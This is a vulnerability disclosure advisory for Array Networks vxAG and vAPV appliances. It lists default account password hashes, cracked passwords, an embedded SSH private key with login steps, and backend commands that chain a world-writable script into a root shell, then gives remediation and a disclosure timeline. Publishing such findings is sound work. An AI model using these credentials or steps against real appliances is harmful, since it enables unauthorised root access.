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Author:
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xistence < xistence[at]0x90[.]nl >

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Affected products:
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Array Networks vxAG 9.2.0.34 and vAPV 8.3.2.17 appliances

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Affected vendors:
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Array Networks
http://www.arraynetworks.com/

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Product description:
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vAPV:
Virtual Application Delivery Controllers for Cloud and Virtualized
Environments
Powered by Array's award-winning 64-bit SpeedCore(tm) architecture, vAPV
virtual application delivery controllers extend Array's
proven price-performance and rich feature set to public and private clouds
and virtualized datacenter environments.
vAPV virtual application delivery controllers give enterprises and service
providers the agility to offer on-demand
load balancing services, dynamically allocate resources to maximize ROI on
application infrastructure and develop and size
new application environments using either private or public clouds.


vxAG:
Secure Access Gateways for Enterprise, Cloud & Mobile Environments
Secure access gatewaysSecure access is undergoing dramatic change. With
increasing mobility, growing adoption of cloud
services and a shift in thinking that favors securing data over securing
networks and devices, modern enterprises require
a new breed of secure access solutions. Secure access gateways centralize
control over access to business critical resources,
providing security for data in motion and at rest and enforcing application
level policies on a per user basis.

The Array AG Series secure access gateway addresses challenges faced by
enterprise, service provider and pubic-sector
organizations in the areas of secure remote and mobile access to
applications and cloud services. Available in a range of
scalable, purpose-built appliances or as a virtual appliance for cloud and
virtualized environments, the AG Series can
support multiple communities of interest, connect users both in the office
and on-the-go and provide access to traditional
enterprise applications as well as services running in public and private
clouds.


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Details:
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[ 0x01 - Default Users/Passwords ]

The /etc/master.passwd file on the vxAG 9.2.0.34 and vAPV 8.3.2.17
appliances contain default (unkown to the admin) shell users and passwords.

$ cat /etc/master.passwd
# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:$1$9QkJT4Y5$lF2BPaSI2kPlcrqz89yZv0:0:0::0:0:Charlie &:/root:/bin/csh
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission
User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default
User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66::0:0:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
test:$1$UtEw8DNY$te4MRasnXgETxWOZ9Z1o10:1002:1002::0:0:test:/export/test:/bin/tcsh
sync:$1$bmfGRJPh$lWnesbn8M8xZNo3uaqfEd1:1005:0::0:0:sync:/export/sync:/bin/sh
recovery::65533:0::0:0:Recovery User:/:/ca/bin/recovery
mfg:$1$i8SV4bKc$lNMeb8Yow.p.cZvWxt1mO1:1013:1010::0:0:mfg:/export/mfg:/bin/tcsh
arraydb:*:1015:0::0:0:User &:/home/arraydb:/bin/sh
array::1016:1011::0:0:User &:/:/ca/bin/ca_shell

Doing a quick password crack, the passwords for the mfg and sync are
revealed:

User: mfg Password: mfg
User: sync Password: click1

The passwords for "test" and "root" couldn't be cracked in a short time.


Below an example of logging in with the user "sync" and password "click1"
via SSH.

$ ssh sync@192.168.2.55 /bin/sh
sync@192.168.2.55's password:
id
uid=1005(sync) gid=0(wheel) groups=0(wheel)


[ 0x02 - SSH Private Key ]

The "sync" user also contains a private key in "~/.ssh/id_dsa":

$ cat id_dsa
-----BEGIN DSA PRIVATE KEY-----

+sqSEhA35Le2kC4Y1/A=
-----END DSA PRIVATE KEY-----

The following authorized keys file are there in the ~/.ssh directory:

$ cat authorized_keys
1024 35
117781646131320088945310945996213112717535690524599971400605193647439008360689916421327587459429042579662784434303538942896683338584760112042194838342054595473085094045804963620754645364924583113650482968246287214031112796524662479539236259838315876244144983122361617319660444993650437402628793785173700484401
sync@AN

$ cat authorized_keys2
ssh-dss
 
sync@AN

This makes it possible to use the private key to login without a password.
Do the following on a different system:

Insert the id_dsa private key in a file called "synckey":

cat > ~/synckey << EOF
-----BEGIN DSA PRIVATE KEY-----

+sqSEhA35Le2kC4Y1/A=
-----END DSA PRIVATE KEY-----
EOF

Change the rights of the file:

chmod 600 ~/synckey

SSH into the vxAG or vAPV appliance (change the IP below):

ssh -i ~/synckey sync@192.168.2.55 /bin/sh

Now you won't see a command prompt, but you can enter an "id" for example
and you'll get:

uid=1005(sync) gid=0(wheel) groups=0(wheel)


[ 0x03 - Root Privilege Escalation ]

The last issue is that the files "/ca/bin/monitor.sh" and
"/ca/bin/debug_syn_stat" are world writable (chmod 777). Any user can write
to these files.
As the sync user it's possible to write to these files. If you write
arbitrary commands to the monitor.sh script and then turn the debug
monitoring off and on it will restart the script with root privileges.
The sync user is able to run the /ca/bin/backend tool to execute CLI
commands. Below how it's possible to turn the debug monitor off and on:

Turn debug monitor off:
/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`

Turn debug monitor on:
/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`

Thus through combining the SSH private key issue and the world writable
file + unrestricted backend tool it's possible to gain a remote root shell.


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Solution:
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Upgrade to newer versions

Workaround: Change passwords and SSH key. Do a chmod 700 on the world
writable file.

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Timeline:
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03-02-2014 - Issues discovered and vendor notified
08-02-2014 - Vendor replies "Thank you very much for bringing this to our
attention."
12-02-2014 - Asked vendor for status updates and next steps.
17-03-2014 - No replies, public disclosure